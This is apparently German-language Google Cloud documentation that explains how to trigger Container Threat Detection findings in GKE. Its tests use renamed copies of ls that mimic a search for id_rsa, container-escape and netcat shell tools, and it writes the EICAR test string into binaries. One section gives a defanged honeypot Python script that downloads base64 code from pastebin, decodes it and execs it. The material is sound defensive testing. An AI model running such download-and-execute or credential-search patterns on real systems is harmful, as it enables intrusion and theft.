Container Threat Detection testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Container Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Container Threat Detection ist ein integrierter Dienst der Premium- und Enterprise-Stufen von Security Command Center. Zum Anzeigen der Container Threat Detection-Ergebnisse muss sie in den Einstellungen von Security Command Center für Dienste aktiviert sein.

Hinweis

Um potenzielle Bedrohungen für Ihre Container zu erkennen, müssen Sie darauf achten, dass Ihre Cluster auf einer unterstützten Version von Google Kubernetes Engine (GKE) basieren. Weitere Informationen finden Sie unter Unterstützte GKE-Version verwenden.

Detektoren aktivieren

Die Sensoren Added Binary Executed, Added Library Loaded, Execution: Program Run with Disallowed HTTP Proxy Env und Exfiltration: Launch Remote File Copy Tools in Container sind standardmäßig deaktiviert. Wenn Sie diese Sensoren testen möchten, müssen Sie sie explizit aktivieren:

  1. Prüfen Sie den Status des Detektors:

    export PROJECT=PROJECT_ID
    gcloud alpha scc settings services describe \
        --service=CONTAINER_THREAT_DETECTION \
        --project=${PROJECT}
    
  2. Aktivieren Sie den Detektor Added Binary Executed:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_BINARY_EXECUTED \
        --project=${PROJECT}
    
  3. Aktivieren Sie den Detektor Added Library Loaded:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_LIBRARY_LOADED \
        --project=${PROJECT}
    
  4. Aktivieren Sie den Detektor Execution: Program Run with Disallowed HTTP Proxy Env:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
        --project=${PROJECT}
    
  5. Aktivieren Sie den Detektor Exfiltration: Launch Remote File Copy Tools in Container:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
        --project=${PROJECT}
    

Umgebungsvariablen festlegen

Zum Testen von Detektoren verwenden Sie die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Die folgenden Variablen werden zum Testen aller Container Threat Detection-Detektoren verwendet.

  1. Öffnen Sie die Google Cloud Console.

    Weiter zur Google Cloud Console

  2. Wählen Sie das Projekt aus, das den Container enthält, den Sie testen möchten.

  3. Klicken Sie auf Google Cloud Shell aktivieren

  4. Legen Sie in Cloud Shell Umgebungsvariablen fest:

    1. Die Zone, in der sich der Cluster befindet:

      export ZONE=CLUSTER_ZONE
      
    2. Das Projekt, in dem sich der Container befindet:

      export PROJECT=PROJECT_ID
      
    3. Ihr Clustername:

      export CLUSTER_NAME=CLUSTER_NAME
      

Die Variablen werden festgelegt. Die folgenden Abschnitte enthalten Anleitungen zum Testen von Container Threat Detection-Detektoren.

Ausgeführte Binärdatei hinzugeführt

Fügen Sie eine Binärdatei in Ihren Container ein und führen Sie sie aus, um ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die Kopie der Binärdatei nicht Teil des ursprünglichen Container-Images war, auch wenn das Image unter Ubuntu 24.04 ausgeführt wird und Container unveränderlich sind.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie eine Binärdatei ab und führen Sie sie aus:

    • X86-Knoten:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • ARM-Knoten:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse können nur in Cloud Logging angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Falschmeldungen werden beim Erstellen eines Containers Ergebnisse vom Typ „Hinzugefügte Binärdatei ausgeführt“ vorübergehend von Container Threat Detection herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Hinzugefügte Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Hinzugefügte Mediathek geladen

Ziehen Sie eine Bibliothek in den Container und laden Sie sie, um ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /lib/x86_64-linux-gnu/libc.so.6 an einen anderen Speicherort kopiert und dann mit ld geladen. Die geladene Bibliothek ist unerwartet, da die Kopie der Bibliothek nicht Teil des ursprünglichen Container-Images war, auch wenn sich das Image unter Ubuntu 24.04 befindet und Container unveränderlich sind.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie eine Mediathek ab und laden Sie sie mit ld:

    • X86-Knoten:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • ARM-Knoten:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Zur Reduzierung von Fehlalarmen werden beim Erstellen eines Containers Ergebnisse vom Typ „Hinzugefügte Bibliothek geladen“ vorübergehend von Container Threat Detection herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Hinzugefügte Bibliothek geladen“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Zugriff auf Anmeldedaten: Nach privaten Schlüsseln oder Passwörtern suchen

Um ein Credential Access: Search Private Keys or Passwords-Ergebnis auszulösen, muss ein Binärprogramm, das Dateiinhalte durchsuchen kann, in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in find (oder ein anderes geeignetes Suchprogramm wie grep) umbenannt. Das umbenannte Binärprogramm wird dann mit Argumenten ausgeführt, die ein Suchmuster angeben, das auf private Schlüssel oder Passwörter hinweist, oder Inhaltsmuster, die auf Passwörter oder Geheimnisse hinweisen. Diese Aktion wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, vertrauliche Informationen wie private Schlüssel oder Passwörter in einer containerisierten Umgebung zu finden.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie ein Suchtool-Binärprogramm wie find mit den entsprechenden Argumenten aus:

    • X86-Knoten:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      
    • ARM-Knoten:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      

Mit diesem Testverfahren wird ein Credential Access: Search Private Keys or Passwords-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Störungen werden bei der erstmaligen Erstellung eines Containers möglicherweise vorübergehend Credential Access: Search Private Keys or PasswordsErgebnisse von Container Threat Detection herausgefiltert. Wenn Sie alle Credential Access: Search Private Keys or Passwords-Ergebnisse sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Ausführung: Ausgeführte schädliche Binärdatei hinzugefügt

Wenn Sie ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ auslösen möchten, legen Sie eine schädliche Binärdatei in Ihren Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, eine simulierte schädliche Datei erstellt und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des ursprünglichen Container-Images war und es sich bei der Binärdatei um eine EICAR-Testdatei handelt, die von der Threat Intelligence als schädlich eingestuft wurde.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

    • X86-Knoten:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • ARM-Knoten:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Um die Anzahl der Ergebnisse zu reduzieren, werden beim Erstellen eines Containers vorübergehend Ergebnisse vom Typ „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Ausführung: Container-Escape

Wenn Sie ein Ergebnis vom Typ „Ausführung: Container-Ausbruch“ auslösen möchten, legen Sie eine Binärdatei in Ihren Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (botb-linux-amd64) umbenannt und mit zusätzlichen Argumenten ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das einem Container-Escape-Versuch entspricht.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie eine Binärdatei eines Container-Exploitation-Tools wie botb-linux-amd64 ab und führen Sie sie aus:

    • X86-Knoten:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • ARM-Knoten:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

Mit diesem Testverfahren wird ein Ergebnis vom Typ „Ausführung: Container-Ausbruch“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse können nur in Cloud Logging angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Falschmeldungen werden bei der erstmaligen Erstellung eines Containers möglicherweise vorübergehend Ergebnisse für „Ausführung: Container-Ausbruch“ herausgefiltert. Wenn Sie alle Ergebnisse für „Ausführung: Container-Ausbruch“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Containernamen oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Ausführung: Ausführung des Kubernetes-Angriffstools

Wenn Sie ein Ergebnis vom Typ „Ausführung: Ausführung eines Kubernetes-Angriffstools“ auslösen möchten, legen Sie eine Binärdatei in Ihren Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (amicontained) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das mit einem potenziellen Ausführungsversuch eines Kubernetes-Angriffstools übereinstimmt.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie eine Binärdatei eines Kubernetes-Angriffstools wie amicontained ab und führen Sie sie aus:

    • X86-Knoten:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • ARM-Knoten:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

Mit diesem Testverfahren wird ein Ergebnis vom Typ „Ausführung: Ausführung eines Kubernetes-Angriffstools“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Fehlalarmen werden beim Erstellen eines Containers möglicherweise vorübergehend Ergebnisse für „Ausführung: Ausführung von Kubernetes-Angriffstool“ herausgefiltert. Wenn Sie alle Ergebnisse für „Execution: Kubernetes Attack Tool Execution“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Ausführung: Ausführung des lokalen Reconnaissance-Tools

Wenn Sie ein Execution: Local Reconnaissance Tool Execution-Ergebnis auslösen möchten, legen Sie eine Binärdatei in Ihren Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (linenum.sh) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da die Ausführung des umbenannten Binärprogramms ein Verhalten simuliert, das mit einem lokalen Erkundungsversuch übereinstimmt.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie ein Binärprogramm für die lokale Aufklärung wie linenum.sh aus:

    • X86-Knoten:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • ARM-Knoten:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

Mit diesem Testverfahren wird ein Ergebnis vom Typ „Ausführung: Ausführung eines lokalen Aufklärungstools“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Falschmeldungen werden bei der erstmaligen Erstellung eines Containers möglicherweise vorübergehend Ergebnisse für „Ausführung: Ausführung des lokalen Reconnaissance-Tools“ herausgefiltert. Wenn Sie alle Ergebnisse der Ausführung des lokalen Reconnaissance-Tools sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Containernamen oder Podnamen wie im Beispiel das Präfix ktd-test hinzu.

Ausführung: Böswilliges Python-Script ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Schadhaftes Python-Script ausgeführt“ auslösen möchten, können Sie Python mithilfe der folgenden Schritte in Ihrem Container ausführen.

Dabei wird das neueste Python-Image bereitgestellt, scheinbar schädlicher Python-Code kopiert und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss der Python-Code für den Detektor als schädlich eingestuft werden.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie das folgende Script in einem neuen Container aus.

    Dieser Python-Code stammt aus einem Honeypot. Sie wurde jedoch so geändert, dass die schädliche Binärdatei nicht ausgeführt wird. Das Ausführen des Scripts führt nicht zu schädlichen Aktivitäten in Ihrem Container. Das Binärprogramm unter der angegebenen URL existiert nicht und der Versuch, die URL aufzurufen, führt zu einem 404-Fehler. Dies ist zu erwarten. Die Erkennung wird durch den Versuch ausgelöst, ein Binärprogramm mit einem Inline-Script herunterzuladen, zu decodieren und auszuführen.

    • X86-Knoten:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • ARM-Knoten:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

Mit diesem Testverfahren wird ein Ergebnis vom Typ „Ausführung: Ausgeführstes schädliches Python-Script“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Die Ergebnisse können nur in Cloud Logging angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Modifizierte schädliche Binärdatei ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ auslösen möchten, ändern Sie eine schädliche Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls in eine EICAR-Testdatei mit Malware geändert und dann ausgeführt. Die Ausführung des Binärprogramms ist unerwartet, da die erstellte /bin/ls während der Containerlaufzeit als schädliches EICAR-Test-Binärprogramm geändert wird. Das EICAR-Binärprogramm ist laut Threat Intelligence eine bekannte schädliche Datei.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

    • X86-Knoten:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      
    • ARM-Knoten:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse können nur in Cloud Logging angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Falschmeldungen werden beim Erstellen eines Containers vorübergehend Ergebnisse vom Typ „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Ausführung: Netcat-Codeausführung per Fernzugriff in Containern

Um ein Execution: Netcat Remote Code Execution In Container-Ereignis auszulösen, muss ein Binärprogramm zur Netzwerkkommunikation (z. B. netcat selbst oder eine umbenannte Kopie eines anderen Dienstprogramms) im Container vorhanden und ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image als Basis bereitgestellt. Dabei wird das /bin/ls-Binärprogramm kopiert und in netcat (ein Netzwerkdienstprogramm) umbenannt. Dieses umbenannte Binary wird dann mit Argumenten ausgeführt, die für die Netzwerkinteraktion geeignet sind. Diese Aktivität wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das häufig bei tatsächlichen Versuchen zur Remote-Codeausführung in containerisierten Umgebungen beobachtet wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie ein Binärprogramm für die Netzwerkkommunikation wie netcat mit den entsprechenden Argumenten aus:

    • X86-Knoten:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      
    • ARM-Knoten:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      

Mit diesem Testverfahren wird ein Execution: Netcat Remote Code Execution In Container-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Störungen werden beim Erstellen eines Containers möglicherweise vorübergehend Execution: Netcat Remote Code Execution In ContainerErgebnisse von Container Threat Detection herausgefiltert. Wenn Sie alle Execution: Netcat Remote Code Execution In Container-Ergebnisse sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Ausführung: Programm mit nicht zulässiger HTTP-Proxy-Umgebung ausgeführt

